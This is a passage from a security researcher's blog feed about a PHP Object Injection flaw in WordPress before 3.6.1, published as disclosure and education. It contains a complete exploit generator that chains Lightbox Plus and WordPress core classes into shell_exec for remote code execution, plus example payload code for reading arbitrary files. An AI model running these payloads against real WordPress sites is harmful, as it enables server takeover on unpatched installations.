&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Just the essential code fragments are extracted. If you want to look at the full source code of the plugin, please refer to the &lt;a href=&quot;http://wordpress.org/plugins/lightbox-plus/&quot;&gt;WordPress plugin repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now, why does this class definition draw our attention? Well… because we can control all properties of a &lt;code&gt;simple_html_dom_node&lt;/code&gt; object, we can set the private &lt;code&gt;dom&lt;/code&gt; property to an arbitrary value. If this value would happen to contain a &lt;code&gt;callback&lt;/code&gt; property, something interesting will happen. In this case, the function located in the &lt;code&gt;callback&lt;/code&gt; property of the &lt;code&gt;dom&lt;/code&gt; property will be called. The first (and only) argument to this method call is the &lt;code&gt;simple_html_dom_node&lt;/code&gt; object we defined.&lt;/p&gt;

&lt;p&gt;This allows us to call an arbitrary function with limited control over the first argument. Limited because we can pick the attributes, but that’s about it. Most likely there is a PHP function out there that allows you to do some cool things, even with these limitations. As I am no PHP expert, I couldn’t come up with something, so I decided to keep on looking. This drove me back to the WordPress core, more precisely to the &lt;code&gt;/wp-admin/includes/screen.php&lt;/code&gt; file. This file contains a class definition of &lt;code&gt;WP_Screen&lt;/code&gt; and is included when the serialized user-meta data is unserialized. Here is the definition of the class:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WP_Screen&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_help_tabs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_help_tabs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;_help_tabs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;render_screen_meta&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;c1&quot;&gt;// …&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get_help_tabs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$tab&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$tab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'callback'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
				&lt;span class=&quot;nb&quot;&gt;call_user_func_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$tab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'callback'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$tab&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;endforeach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;c1&quot;&gt;// …&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As I mentioned in the previous section, we are able to call any arbitrary chosen function. This includes methods of an object. Hence, we can call the &lt;code&gt;render_screen_meta()&lt;/code&gt; method of a &lt;code&gt;WP_Screen&lt;/code&gt; object (which takes no arguments). This method will loop over all the elements in the &lt;code&gt;_help_tabs&lt;/code&gt; property, and if the &lt;code&gt;callback&lt;/code&gt; property of such an element is not empty, it will call the function located in the &lt;code&gt;callback&lt;/code&gt; property with two arguments: the &lt;code&gt;WP_Screen&lt;/code&gt; object and &lt;code&gt;$tab&lt;/code&gt; (one of the elements of the &lt;code&gt;_help_tabs&lt;/code&gt; property).&lt;/p&gt;

&lt;p&gt;This gives us a bit more control: we can choose which function is called, and can control (to some extent) the first two arguments. But we may want to look a bit further as we don’t fully control the arguments. This brings us to the &lt;code&gt;/wp-includes/category-template.php&lt;/code&gt; file of the WordPress core, with following definition:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;wp_generate_tag_cloud&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$tags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// …&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wp_parse_args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$defaults&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$args&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// …&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$tags&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$tag&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$real_counts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$tag&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$counts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$topic_count_scale_callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$tag&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// …&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;For those unfamiliar with PHP, &lt;a href=&quot;http://www.php.net/manual/en/function.extract.php&quot;&gt;look up &lt;code&gt;extract()&lt;/code&gt;&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;wp_generate_tag_cloud()&lt;/code&gt; function takes two arguments: &lt;code&gt;$tags&lt;/code&gt; and &lt;code&gt;$args&lt;/code&gt;. The latter is first transformed through the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_parse_args&quot;&gt;&lt;code&gt;wp_parse_args()&lt;/code&gt;&lt;/a&gt; function, which merges &lt;code&gt;$args&lt;/code&gt; with an array of default values (&lt;code&gt;$defaults&lt;/code&gt;). Directly after that, a number of variables, with names equal to the keys in &lt;code&gt;$args&lt;/code&gt;, are created by the &lt;code&gt;extract()&lt;/code&gt; function. One of the variables that is created is the &lt;code&gt;$topic_count_scale_callback&lt;/code&gt; variable. Later on, the value located in this variable is called, given one argument. The good thing here is: we can fully control this variable because we can control the second argument! As for the argument that is given to the function, it appears we can control it as well! The first argument, a &lt;code&gt;WP_Screen&lt;/code&gt; object for example, is cast to an array. When an object is cast to an array in PHP, this results in an associative array where the properties become the keys. See following code snippet:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Swag&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$yolo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'yolo'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$swag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Swag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;var_dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$swag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Which results in:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;array(1) {
  [&quot;yolo&quot;]=&amp;gt;
  string(4) &quot;yolo&quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now all we need for a working exploit, is a property in the &lt;code&gt;WP_Screen&lt;/code&gt; object that has a &lt;code&gt;count&lt;/code&gt; property. Of course this is not a problem as we get to pick all attributes of objects that get unserialized. This means that we can call an arbitrary function with one argument, which we can also fully control. And this brings us to Remote Code Execution; think &lt;code&gt;shell_exec('echo &quot;schwag&quot; &amp;gt; /tmp/1337h4x0rs')&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/pew-pew-pew.jpg&quot; alt=&quot;Add cute kitten for total 1337ness&quot; class=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;putting-it-all-together&quot;&gt;Putting it all together&lt;/h3&gt;

&lt;p&gt;With the information provided above, you should be able to create you own über 1337 expl0it!&lt;br /&gt;
But let me show you what I made of it:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;simple_html_dom_node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$dom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$callback&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;WP_Screen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'render_screen_meta'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;dom&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'callback'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WP_Screen&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_help_tabs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'count'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'echo &quot;schwag&quot; &amp;gt; /tmp/1337h4x0rs'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;action&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;_help_tabs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
			&lt;span class=&quot;s1&quot;&gt;'callback'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'wp_generate_tag_cloud'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
			&lt;span class=&quot;s1&quot;&gt;'topic_count_scale_callback'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'shell_exec'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;serialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;simple_html_dom_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'𝌆'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;When an attacker sets the output of this script as his user metadata, the shell_exec() function is called with &lt;code&gt;'echo &quot;schwag&quot; &amp;gt; /tmp/1337h4x0rs'&lt;/code&gt; as argument. Note that the output contains NULL bytes because when an object is serialized in PHP its private properties are surrounded by NULL bytes (&lt;a href=&quot;http://php.net/manual/en/function.serialize.php#refsect1-function.serialize-returnvalues&quot;&gt;see PHP manual&lt;/a&gt;). Most of the user metadata in WordPress does not allow NULL bytes, except for some that are present by default in version 3.5.1.&lt;/p&gt;

&lt;p&gt;###Conclusion&lt;/p&gt;

&lt;p&gt;This blog post showed an example exploit for the PHP Object vulnerability in WordPress installations before version 3.6.1. The exploit made use of classes defined in the &lt;em&gt;Lightbox Plus ColorBox&lt;/em&gt; plugin, which has close to 1 million downloads. By using another class and function definition of the WordPress core, we were able to call an arbitrary function which can be given a value under the control of the attacker. This way, an attacker is capable of executing commands on the vulnerable server. Ohh snap! If you haven’t updated your WordPress installation yet, now would be a good time!&lt;/p&gt;</content><author><name>Tom Van Goethem</name></author><category term="WordPress" /><category term="Security" /><category term="PHP" /><category term="Object Injection" /><category term="Exploit" /><summary type="html">Some time ago, I published a blog post describing a PHP Object Injection vulnerability I found in WordPress. At that time, I consciously did not include instructions of how this vulnerability could be exploited. Now, almost three months after the public disclosure of the vulnerability, website administrators have had a reasonable amount of time to update their WordPress installations in order to be secure. Hence, I feel that disclosing an example exploit is acceptable, and will hopefully raise awareness with website administrators that updating (vulnerable) web frameworks is crucial. Recap The vulnerability I found in WordPress allowed user-generated content to be passed to PHP’s unserialize() function. This allows an attacker to initialize objects of his choosing, given that the file containing the class definition for the object is included at the time the unserialize() function is called. Furthermore, the attacker can also control the values for the attributes of the initialized object. Except for the initialization of an arbitrary object, an attacker is left with his creativity to make the initialized object do something “special”. This is possible because of PHP’s magic methods. For instance, when an object is unserialized, the object’s __wakeup() magic method is called. Later, when the object has fulfilled its duties and gets destructed, the __destruct() method is called.</summary></entry><entry><title type="html">WordPress &amp;lt; 3.6.1 PHP Object Injection</title><link href="https://tom.vg//2013/09/wordpress-php-object-injection/" rel="alternate" type="text/html" title="WordPress &lt; 3.6.1 PHP Object Injection" /><published>2013-09-11T00:00:00+02:00</published><updated>2013-09-11T00:00:00+02:00</updated><id>https://tom.vg//2013/09/wordpress-php-object-injection</id><content type="html" xml:base="https://tom.vg//2013/09/wordpress-php-object-injection/">&lt;p&gt;After reading a &lt;a href=&quot;http://karmainsecurity.com/analysis-of-the-joomla-php-object-injection-vulnerability&quot; title=&quot;Analysis of the Joomla PHP Object Injection Vulnerability&quot;&gt;blog post&lt;/a&gt; about a “PHP object injection” vulnerability in Joomla, I dug a bit deeper and found &lt;a href=&quot;http://media.blackhat.com/bh-us-10/presentations/Esser/BlackHat-USA-2010-Esser-Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits-slides.pdf&quot; title=&quot;Utilizing Code Reuse/ROP in PHP Application Exploits&quot;&gt;Stefan Esser’s slides&lt;/a&gt; of the 2010 BlackHat conference, which showed that PHP’s &lt;code&gt;unserialize()&lt;/code&gt; function can give rise to vulnerabilities when supplied user-generated content.&lt;/p&gt;

&lt;p&gt;So basically, the &lt;code&gt;unserialize()&lt;/code&gt; function takes a string that represents a serialized value, and unserializes (hence the name) it to a PHP value. This value can be any type, except the resource type (i.e. integer, double, string, array, boolean, object, NULL). When the function is given a user-generated string, this may result in memory leak vulnerabilities in some (older) PHP versions.
However, this will not be the focus of this blog post. If you want to learn more about this, you can refer to the aforementioned BlackHat slides.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;Another type of vulnerability that an attacker can exploit when his data is run through the &lt;code&gt;unserialize()&lt;/code&gt; function, is “PHP Object Injection”. In this case, object-types are unserialized, allowing the attacker to set all the properties of the object to his choice.
When the object’s methods are called, this could have some effect (e.g. removing some file), and as the attacker is able to choose the properties of the object, he might be able to remove a file of his choice.&lt;/p&gt;

&lt;p&gt;Let’s examplify this to make it more clear:
Imagine that the following class is loaded at the time user-generated content is passed to &lt;code&gt;unserialize()&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Foo&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$bar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$fileName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bar&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'foobar'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$fileName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    
    &lt;span class=&quot;c1&quot;&gt;// Some more code here…&lt;/span&gt;
    
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file_get_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If the victim’s code would contain the following line &lt;code&gt;echo unserialize($_GET['in']);&lt;/code&gt;, the attacker will be able to read arbitrary files. The attacker could construct his payload with the following code:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Foo&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
